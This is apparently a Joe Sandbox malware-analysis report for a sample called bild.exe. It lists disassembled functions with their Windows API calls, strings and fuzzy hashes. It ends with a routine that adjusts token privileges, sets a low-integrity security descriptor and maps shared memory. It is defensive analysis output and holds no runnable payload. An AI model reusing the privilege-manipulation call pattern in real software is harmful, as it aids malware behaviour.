Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 2f430cb2a74aa859eafc5ddd4affd14cc97d35a892c3f37a2c0f3c52710f6d69
Instruction ID: f561955dd8833cd1e4063ab982418e0757abbf266dbf7331da0b9c2cd82f4731
Opcode Fuzzy Hash: 2f430cb2a74aa859eafc5ddd4affd14cc97d35a892c3f37a2c0f3c52710f6d69
Instruction Fuzzy Hash: 45A17C7290038E9FE725DF18C891BBEBBE5EF65354F18426DE6859B282C3389D41C750

Function 001D9F2A Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,001D7F55,?,?,?), ref: 001D9FD0
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,001D7F55,?,?), ref: 001DA014
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,001D7F55,?,?,?,?,?,?,?,?), ref: 001DA095
CloseHandle.KERNEL32(?,?,00000000,?,001D7F55,?,?,?,?,?,?,?,?,?,?,?), ref: 001DA09C

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 74d17c1cc5d202e9f3f431f2caaaa534cf70989c58697a396754dcc5077a3679
Instruction ID: 9c42f86b2877e40e4fc4dd28d0265fe8c2c2858e9f9cd39a99e7d6df9b62f22b
Opcode Fuzzy Hash: 74d17c1cc5d202e9f3f431f2caaaa534cf70989c58697a396754dcc5077a3679
Instruction Fuzzy Hash: 6F41BB31248381AAE731EF24DC45BEEBBE9AF95700F04091EB5E5D32C1D7649A48DB53

Function 001F93F3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,F5E85006,001F2794,00000000,00000000,001F2FC2,?,001F2FC2,?,00000001,001F2794,F5E85006,00000001,001F2FC2,001F2FC2), ref: 001F9440
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 001F94C9
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 001F94DB
__freea.LIBCMT ref: 001F94E4

Part of subcall function 001F59FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,001F23AA,?,0000015D,?,?,?,?,001F2F29,000000FF,00000000,?,?), ref: 001F5A2E

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 3c6f749f2afcd796bea92622f5f7b101d651a24ae69b1feac14ca9807eb2e22c
Instruction ID: 5f4c505ab3f3bc1831a1a60bc4e03881e9a48649c7895248956d076363d84e0e
Opcode Fuzzy Hash: 3c6f749f2afcd796bea92622f5f7b101d651a24ae69b1feac14ca9807eb2e22c
Instruction Fuzzy Hash: C731AE72A0020AABDB25AF64EC85EBE7BA5EF50710F054128FD04D7251E735CD52CBA0

Function 001E9A76 Relevance: 6.1, APIs: 4, Instructions: 55windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 001E9A86
GetObjectW.GDI32(00000000,00000018,?), ref: 001E9AA7
DeleteObject.GDI32(00000000), ref: 001E9ACF
DeleteObject.GDI32(00000000), ref: 001E9AEE

Part of subcall function 001E8BD0: FindResourceW.KERNELBASE(00000066,PNG,?,?,001E9AC8,00000066), ref: 001E8BE1
Part of subcall function 001E8BD0: SizeofResource.KERNEL32(00000000,75295780,?,?,001E9AC8,00000066), ref: 001E8BF9
Part of subcall function 001E8BD0: LoadResource.KERNEL32(00000000,?,?,001E9AC8,00000066), ref: 001E8C0C
Part of subcall function 001E8BD0: LockResource.KERNEL32(00000000,?,?,001E9AC8,00000066), ref: 001E8C17

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: f4ed8e2b1c6cbf1a3fcf4091eed2b8c50bc03560d9574cab3cccfba1876a0933
Instruction ID: 2b9f883696daf20f258bafda82245af9b419e2ec13aca70cbf10f408d71180f6
Opcode Fuzzy Hash: f4ed8e2b1c6cbf1a3fcf4091eed2b8c50bc03560d9574cab3cccfba1876a0933
Instruction Fuzzy Hash: EB012B32640B5437C611777AAC46EBFB66DDFD5B51F480021FD04E71D2DF618C0182A1

Function 001F1009 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 001F1020

Part of subcall function 001F1658: ___AdjustPointer.LIBCMT ref: 001F16A2

_UnwindNestedFrames.LIBCMT ref: 001F1037
___FrameUnwindToState.LIBVCRUNTIME ref: 001F1049
CallCatchBlock.LIBVCRUNTIME ref: 001F106D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction ID: cf785209918d698ba1e5a6d33fba5a4281d1d18cc9ea4ede46de8af11a95ba42
Opcode Fuzzy Hash: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction Fuzzy Hash: 6901293240014CFBCF225F55CC41EEA3BBAEF68754F054015FA1865121C732E8A1DBA0

Function 001E991E Relevance: 6.0, APIs: 4, Instructions: 30windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 001E992F
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 001E9940
TranslateMessage.USER32(?), ref: 001E994A
DispatchMessageW.USER32(?), ref: 001E9954

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 7b7bbcafcad8f82cdb258b48a193baaecf887cbb8a4bb19e5c840d0bd1f94ab6
Instruction ID: d7ac5270e56fb97f7be969ce8a0b7c9d566100e4c2cdb9dbd9b6cd515015bc95
Opcode Fuzzy Hash: 7b7bbcafcad8f82cdb258b48a193baaecf887cbb8a4bb19e5c840d0bd1f94ab6
Instruction Fuzzy Hash: 8FE0ED72D0232EB7CB20ABE6AC4DDDB7F7CEE062657404015B519D2001D6689505C7F1

Function 001F0B66 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 001F0B66
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 001F0B6B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 001F0B70

Part of subcall function 001F1C0E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 001F1C1F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 001F0B85

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction ID: 05e324af2e1ceb5c8cecb250cadeebc82b62b5f5067c18d485df0b484f3b54b8
Opcode Fuzzy Hash: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction Fuzzy Hash: 01C0487C18464EF81C263AB026161BE13800C7BBD9BD511C9AF925B023DB06494EA036

Function 001E8CF3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 001E8BA5: GetDC.USER32(00000000), ref: 001E8BA9
Part of subcall function 001E8BA5: GetDeviceCaps.GDI32(00000000,0000000C), ref: 001E8BB4
Part of subcall function 001E8BA5: ReleaseDC.USER32(00000000,00000000), ref: 001E8BBF

GetObjectW.GDI32(?,00000018,?), ref: 001E8D24

Part of subcall function 001E8EEA: GetDC.USER32(00000000), ref: 001E8EF3
Part of subcall function 001E8EEA: GetObjectW.GDI32(?,00000018,?), ref: 001E8F22
Part of subcall function 001E8EEA: ReleaseDC.USER32(00000000,?), ref: 001E8FB6

Strings

(, xrefs: 001E8DEF

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: eccfdb314ed1b27f2f2739fc1787cedc47b6ec93b5fcd0d32c63335da232423a
Instruction ID: 7cf27ea5289351cb9450a5935a990142a143a2af8aa918b989647c3a9fff91b6
Opcode Fuzzy Hash: eccfdb314ed1b27f2f2739fc1787cedc47b6ec93b5fcd0d32c63335da232423a
Instruction Fuzzy Hash: A36101B1204741AFD214DFA5C888E6BBBE9FF89704F10495DF59ACB261CB31E905CB62

Function 001E01DF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 001E03A5

Strings

%ls, xrefs: 001E021E, 001E0234
%s: %s, xrefs: 001E03B4

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 865ddb5572d1c27e440edb879c400cf3fecba8be6888ee465f233088a8d2b9b3
Instruction ID: 0051236d2478224b5a824bd425ffa74263964cff1b9785544010e530fbc43c2a
Opcode Fuzzy Hash: 865ddb5572d1c27e440edb879c400cf3fecba8be6888ee465f233088a8d2b9b3
Instruction Fuzzy Hash: E851D93118CF82FAEA2B16D29D4AF2D7695AB1DF00F21841AF386744E6C7D358D0661B

Function 001D7619 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D761E
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 001D7799

Part of subcall function 001DA0C3: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,001D9EF9,?,?,?,001D9D92,?,00000001,00000000,?,?), ref: 001DA0D7
Part of subcall function 001DA0C3: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,001D9EF9,?,?,?,001D9D92,?,00000001,00000000,?,?), ref: 001DA108

Strings

:, xrefs: 001D768F

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 465d9f8ca630bb12727b29d6c600e994ee0a0c42a011186d9d5b4a6aeba10642
Instruction ID: 0e4e150febe9326227088b82debe9912135be50c2f8d8b4197324153fa376542
Opcode Fuzzy Hash: 465d9f8ca630bb12727b29d6c600e994ee0a0c42a011186d9d5b4a6aeba10642
Instruction Fuzzy Hash: E441D571904658AAEB24EB60DC49EEF777CEF55300F0040ABB645A3282EB749F85CF61

Function 001DB275 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

UNC, xrefs: 001DB311
\\?\, xrefs: 001DB2C7, 001DB303, 001DB364, 001DB3B7

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 2c352e6eaf45fd5eafe26f67d94172e7e44d78f5106928287e90f36e837a2bd3
Instruction ID: 4823c16a7bbe9e0a3fae90c0ea1199f226436563d4599b628768a4694a094d73
Opcode Fuzzy Hash: 2c352e6eaf45fd5eafe26f67d94172e7e44d78f5106928287e90f36e837a2bd3
Instruction Fuzzy Hash: 83419032408259F6DB21AF61DCC1EEE7769FF15390F124127F89693242EB70DA91DA90

Function 001E802D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 001E803A

Strings

Shell.Explorer, xrefs: 001E8066
about:blank, xrefs: 001E80D2

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 70f4a8f54520233335aeed49df73dc0c8a3da096b09b2d703ff0c6186e7ebfef
Instruction ID: e65136400d7cca3e553bedb66b746153a7f9ab018d68cf8874441696197e4c7b
Opcode Fuzzy Hash: 70f4a8f54520233335aeed49df73dc0c8a3da096b09b2d703ff0c6186e7ebfef
Instruction Fuzzy Hash: 7E21CD75710F46AFD7189F62C890E2EB3A8BF95710B14C129F50A8B282CF71EC14CBA0

Function 001DDF34 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 001DDEB5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 001DDED4
Part of subcall function 001DDEB5: GetProcAddress.KERNEL32(00211E58,CryptUnprotectMemory), ref: 001DDEE4

GetCurrentProcessId.KERNEL32(?,?,?,001DDF2E), ref: 001DDFB5

Strings

CryptProtectMemory failed, xrefs: 001DDF75
CryptUnprotectMemory failed, xrefs: 001DDFAD

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 6e2cd9374f9337ae85bc69d988512ce636f0fb2305bd7fcf83450f03010bf990
Instruction ID: f2d2b49f20cb6a79bbbd83c18f6996035cebd67510c35c109327e928b8359020
Opcode Fuzzy Hash: 6e2cd9374f9337ae85bc69d988512ce636f0fb2305bd7fcf83450f03010bf990
Instruction Fuzzy Hash: CF1134713082122BEB159B69BC40BAA739AAFA4B10F05801BF902CA282DB70DC1283D0

Function 001D12E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 001DCED7: GetWindowRect.USER32(?,?), ref: 001DCF0E
Part of subcall function 001DCED7: GetClientRect.USER32(?,?), ref: 001DCF1A
Part of subcall function 001DCED7: GetWindowLongW.USER32(?,000000F0), ref: 001DCFBB
Part of subcall function 001DCED7: GetWindowRect.USER32(?,?), ref: 001DCFE8
Part of subcall function 001DCED7: GetWindowTextW.USER32(?,?,00000400), ref: 001DD007

GetDlgItem.USER32(00000000,00003021), ref: 001D132B
SetWindowTextW.USER32(00000000,002002E4), ref: 001D1341

Strings

0, xrefs: 001D12EA

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Window$Rect$Text$ClientItemLong
String ID: 0
API String ID: 660763476-4108050209
Opcode ID: 28052cf46e3892ea9d4fbbf577c57d71eecc2adbc7a70c0753c41d5eef7d1765
Instruction ID: 70bc8c4a0e90a5ab9383f1620947c894b578165d1622f22df46a8f8146e9bf2a
Opcode Fuzzy Hash: 28052cf46e3892ea9d4fbbf577c57d71eecc2adbc7a70c0753c41d5eef7d1765
Instruction Fuzzy Hash: 04F0AFB1540348BBEF261F609C09AE93F5ABB24768F084016FE44546E2C774D8A0EB54

Function 001DFAC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,001DFD0B,?,?,001DFD80,?,?,?,?,?,001DFD6A), ref: 001DFACD
GetLastError.KERNEL32(?,?,001DFD80,?,?,?,?,?,001DFD6A), ref: 001DFAD9

Part of subcall function 001D6DD3: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001D6DF1

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 001DFAE2

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ef8039d1d3cf2ed88ca738dab91e8c5a663ab78ba1167d8887b1a0ae13dff803
Instruction ID: d9566ea2026a15131d51f294f230e25268011d2112db5123e244830adb3fb52d
Opcode Fuzzy Hash: ef8039d1d3cf2ed88ca738dab91e8c5a663ab78ba1167d8887b1a0ae13dff803
Instruction Fuzzy Hash: AAD05B7151863127E60133687C4EF6E79065F32770F250716F175652E7CF500D514691

Function 001F88FB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 001F88FB
GetCommandLineW.KERNEL32 ref: 001F8906

Strings

8%r, xrefs: 001F8901

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CommandLine
String ID: 8%r
API String ID: 3253501508-2210508237
Opcode ID: 5f637fe916de6e89a7e1ad8df51fd1c3da9e907d154d84a01f88eae6607f22fa
Instruction ID: 419478d483fd66464d7099c446049f97c63c3399311d79a78de0e7c5583cbe26
Opcode Fuzzy Hash: 5f637fe916de6e89a7e1ad8df51fd1c3da9e907d154d84a01f88eae6607f22fa
Instruction Fuzzy Hash: 1CB00278801304EFDB51DFB5B99C2487BE0B65C706BD06495D815C7722D739504AEF11

Analysis Process: bild.exePID: 6768, Parent PID: 7092COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	113

Executed Functions

Function 1109E190 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109D440: GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,73B292A0,00080000,00000000,00000000), ref: 1109D46D
Part of subcall function 1109D440: OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
Part of subcall function 1109D440: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
Part of subcall function 1109D440: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,73B292A0,00080000,00000000,00000000), ref: 1109E225
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109E23E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109E249
GetVersionExA.KERNEL32(?), ref: 1109E260
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2CE
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109E2E3
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2F4
CreateFileMappingA.KERNEL32(000000FF,11030063,00000004,00000000,?,?), ref: 1109E330
GetLastError.KERNEL32 ref: 1109E33D
LocalFree.KERNEL32(?), ref: 1109E366
LocalFree.KERNEL32(?), ref: 1109E373
GetLastError.KERNEL32 ref: 1109E390
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109E3AE
